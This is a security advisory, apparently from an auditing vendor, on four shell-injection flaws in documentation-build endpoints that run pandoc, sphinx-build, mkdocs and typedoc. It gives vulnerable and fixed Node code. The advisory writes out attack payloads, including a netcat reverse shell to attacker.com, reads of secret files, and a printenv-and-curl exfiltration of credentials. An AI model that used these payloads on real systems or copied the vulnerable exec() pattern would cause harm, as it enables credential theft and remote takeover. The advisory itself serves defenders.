← Security advisories

Claude MCP skill code injection — skill documentation generation and publishing endpoints — SA-SKL-INJECTION41

SA-SKL-INJECTION41 documents four code injection vulnerabilities in MCP skill registry documentation generation and publishing endpoints. Documentation tooling — pandoc, sphinx-build, mkdocs, typedoc — requires invoking external binaries with paths and configuration supplied at runtime. When these paths originate from user-supplied request parameters and are interpolated directly into shell command strings via exec(), the documentation service becomes a shell injection surface. All four INJECTION41 findings are CRITICAL severity because they achieve remote code execution or credential exfiltration in the documentation service process, which typically holds publication credentials for CDNs, documentation hosting platforms, and package registries that serve skill documentation to end users.

SA-SKL-INJECTION41 findings at a glance
CRITICALINJECTION41-001 — exec(`pandoc ${sourceFile} -o ${outputFile} --template ${templatePath}`) — attacker templatePath with ; cat /etc/secrets/PANDOC_PUBLISHER_KEY exfiltrates documentation publishing credential; fix: execFile() array; templatePath from server-side constant allowlist; realpathSync containment for sourceFile and outputFile
CRITICALINJECTION41-002 — exec(`sphinx-build ${sourceDir} ${outputDir} -c ${confDir}`) — attacker confDir with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; confDir from server-side constant; realpathSync containment for sourceDir and outputDir
CRITICALINJECTION41-003 — exec(`mkdocs build --config-file ${configFile} --site-dir ${outputDir}`) — attacker configFile with space-injected --theme=attacker-theme reads MkDocs theme plugin configuration including CDN credentials; fix: execFile() array; configFile from server-side constant; outputDir realpathSync containment
CRITICALINJECTION41-004 — exec(`typedoc --tsconfig ${tsconfigPath} --out ${outputDir} --entryPoints ${entryPoint}`) — attacker entryPoint with ; printenv exfiltrates all env vars including TypeDoc plugin API keys; fix: execFile() array; validate entryPoint against realpathSync containment; tsconfigPath from server-side constant

INJECTION41-001 — pandoc template path injection exfiltrates documentation publisher credentials

Severity: CRITICAL

The documentation generation endpoint invokes pandoc using exec() with the --template path sourced from the user-supplied request body. The shell string is constructed as `pandoc ${sourceFile} -o ${outputFile} --template ${templatePath}`. An attacker submits a documentation generation request with templatePath set to a value containing a shell metacharacter sequence: anything ; cat /etc/secrets/PANDOC_PUBLISHER_KEY > /tmp/leak.txt ; echo. The shell interprets the semicolons as command separators and executes the injected command as a separate shell statement with the documentation service's process privileges.

The documentation publishing credential (PANDOC_PUBLISHER_KEY) is used to authenticate uploads to the skill documentation hosting platform. With this credential, an attacker can overwrite any skill's published documentation with attacker-controlled content — turning legitimate skill documentation pages into phishing lures or injecting malicious installation instructions. The fix replaces exec() with execFile() using an argument array, sources templatePath from a server-side constant allowlist of approved pandoc templates, and enforces realpathSync containment for sourceFile and outputFile within the designated documentation processing directory.

Vulnerable
// Documentation generation — exec() with user-supplied templatePath
app.post('/docs/generate', requireSession, async (req, res) => {
  const { sourceFile, outputFile, templatePath } = req.body;
  // attacker submits: templatePath = "x ; cat /etc/secrets/PANDOC_PUBLISHER_KEY > /tmp/leak"
  await exec(`pandoc ${sourceFile} -o ${outputFile} --template ${templatePath}`);
  res.json({ ok: true });
});
Fixed
// Documentation generation — execFile() array + server-side template allowlist
const PANDOC_TEMPLATES = {
  default: '/srv/docs/templates/default.html',
  minimal: '/srv/docs/templates/minimal.html',
  api: '/srv/docs/templates/api.html',
};

app.post('/docs/generate', requireSession, async (req, res) => {
  const { sourceFile, outputFile, templateName } = DocsGenerateSchema.parse(req.body);

  // Template from server-side allowlist — attacker cannot supply arbitrary path
  const templatePath = PANDOC_TEMPLATES[templateName];
  if (!templatePath) return res.status(400).json({ error: 'Unknown template' });

  // Source and output files must resolve within the designated docs directory
  const docsRoot = `/srv/docs/workspace/${req.session.userId}`;
  const resolvedSource = realpathSync(path.join(docsRoot, sourceFile));
  const resolvedOutput = realpathSync(path.join(docsRoot, outputFile));
  if (!resolvedSource.startsWith(docsRoot) || !resolvedOutput.startsWith(docsRoot)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  // execFile() does not invoke a shell — no metacharacter interpretation
  await execFile('pandoc', [resolvedSource, '-o', resolvedOutput, '--template', templatePath]);
  res.json({ ok: true });
});

INJECTION41-002 — sphinx-build confDir injection establishes reverse shell

Severity: CRITICAL

The sphinx documentation build endpoint invokes sphinx-build using exec() with the -c configuration directory path sourced from the user-supplied request body. An attacker submits a build request with confDir set to a value containing a shell metacharacter: docs ; nc attacker.com 4444 -e /bin/sh. The shell executes nc attacker.com 4444 -e /bin/sh as a separate command, establishing a persistent reverse shell to the attacker's server with the documentation service's process identity and all its environment variables — including cloud provider credentials used to upload sphinx documentation artifacts to S3 or similar object storage.

Reverse shell access is the most severe injection outcome because it provides interactive, persistent access to the documentation service container rather than a one-shot exfiltration. From the reverse shell, an attacker can explore the entire file system, read all mounted secrets, pivot to the cloud metadata endpoint for IAM credentials, and install a persistence mechanism that survives documentation generation restarts. The fix replaces exec() with execFile(), sources confDir from a server-side constant pointing to the organization-specific sphinx configuration directory, and enforces realpathSync containment on source and output directories.

INJECTION41-003 — mkdocs configFile space-injection reads CDN credentials via attacker-controlled theme

Severity: CRITICAL

The mkdocs documentation build endpoint invokes mkdocs build using exec() with the --config-file path sourced from user-supplied input. An attacker injects a space-delimited argument rather than a semicolon sequence: mkdocs.yml --theme=attacker-theme. The shell word-splits the injected value, adding --theme=attacker-theme as an additional command-line argument to mkdocs build. The attacker-theme plugin is a Python package the attacker has published to PyPI under a name that matches a known mkdocs theme variant. When mkdocs loads the attacker theme, the theme's __init__.py reads the CDN credentials from the mkdocs configuration context — credentials that the documentation service injects into the mkdocs config to enable CDN-hosted documentation deployment.

Space-injection is a subtler variant of shell injection because it does not use obvious metacharacters like semicolons or backticks — it exploits the shell's argument word-splitting behavior on unquoted variables. The fix replaces exec() with execFile(), sources configFile from a server-side constant pointing to the organization's mkdocs configuration, and enforces realpathSync containment on outputDir. By using execFile() with an argument array, there is no shell word-splitting and no opportunity for attacker-injected tokens to become additional arguments.

Space-injection bypasses sanitizers that only block semicolons and backticks. Input validation that blocks ;, `, |, and $ does not prevent space-injection attacks. An attacker who can insert a space followed by a flag name controls additional command-line arguments passed to the documentation tool. The only reliable fix is execFile() with a typed argument array — not input sanitization of string values that are subsequently passed to a shell.

INJECTION41-004 — typedoc entryPoint injection exfiltrates all process environment variables

Severity: CRITICAL

The TypeScript documentation generation endpoint invokes typedoc using exec() with the --entryPoints value sourced from the user-supplied request body. An attacker submits an entry point value containing a shell injection sequence: src/index.ts ; printenv > /tmp/env.txt ; curl -X POST https://attacker.com -d @/tmp/env.txt. The shell executes printenv and the subsequent curl command, exfiltrating all process environment variables including TYPEDOC_NETLIFY_TOKEN, TYPEDOC_GITHUB_TOKEN, AWS_ACCESS_KEY_ID, and any other variables injected into the documentation service's process environment by the platform's secret management system.

TypeDoc plugins frequently read credentials from the process environment to publish documentation to external platforms. The documentation service process may hold credentials for multiple publishing targets simultaneously — a Netlify deploy token, a GitHub Pages token, and cloud provider credentials for asset hosting. Exfiltrating all environment variables with a single printenv command captures all of these in one shot. The fix replaces exec() with execFile(), validates the entryPoint value against a realpathSync containment check that restricts it to the designated source directory, and sources tsconfigPath from a server-side constant.

Vulnerable
// TypeDoc generation — exec() with user-supplied entryPoint
app.post('/docs/typedoc', requireSession, async (req, res) => {
  const { tsconfigPath, outputDir, entryPoint } = req.body;
  // attacker submits: entryPoint = "src/index.ts ; printenv > /tmp/env ; curl ..."
  await exec(`typedoc --tsconfig ${tsconfigPath} --out ${outputDir} --entryPoints ${entryPoint}`);
  res.json({ ok: true });
});
Fixed
// TypeDoc generation — execFile() array + realpathSync containment
const TSCONFIG_PATH = '/srv/docs/tsconfig.json'; // server-side constant

app.post('/docs/typedoc', requireSession, async (req, res) => {
  const { outputDir, entryPoint } = TypeDocSchema.parse(req.body);

  const sourceRoot = `/srv/docs/workspace/${req.session.userId}/src`;
  const outputRoot = `/srv/docs/workspace/${req.session.userId}/out`;

  // entryPoint must resolve within the designated source directory
  const resolvedEntry = realpathSync(path.join(sourceRoot, entryPoint));
  if (!resolvedEntry.startsWith(sourceRoot)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  const resolvedOutput = path.join(outputRoot, outputDir);
  if (!resolvedOutput.startsWith(outputRoot)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  // execFile() does not invoke a shell — entryPoint is a literal argument
  await execFile('typedoc', [
    '--tsconfig', TSCONFIG_PATH,
    '--out', resolvedOutput,
    '--entryPoints', resolvedEntry,
  ]);
  res.json({ ok: true });
});

Remediation summary

FindingSeverityPrimary remediationSecondary hardening
INJECTION41-001CriticalReplace exec() with execFile() array; template from server-side allowlistrealpathSync containment on source and output paths
INJECTION41-002CriticalReplace exec() with execFile(); confDir from server-side constantrealpathSync containment on source and output directories
INJECTION41-003CriticalReplace exec() with execFile(); configFile from server-side constantrealpathSync containment on output directory
INJECTION41-004CriticalReplace exec() with execFile(); realpathSync containment on entry pointtsconfigPath from server-side constant; Zod schema validation

Find code injection vulnerabilities like these before attackers do. SkillAudit scans your MCP skill registry documentation endpoints for all four SA-SKL-INJECTION41 patterns plus the broader injection advisory series. See the SA-SKL-INJECTION40 version pinning advisory and the SA-SKL-INJECTION39 static analysis advisory for related findings. Connect your repository at skillaudit.dev.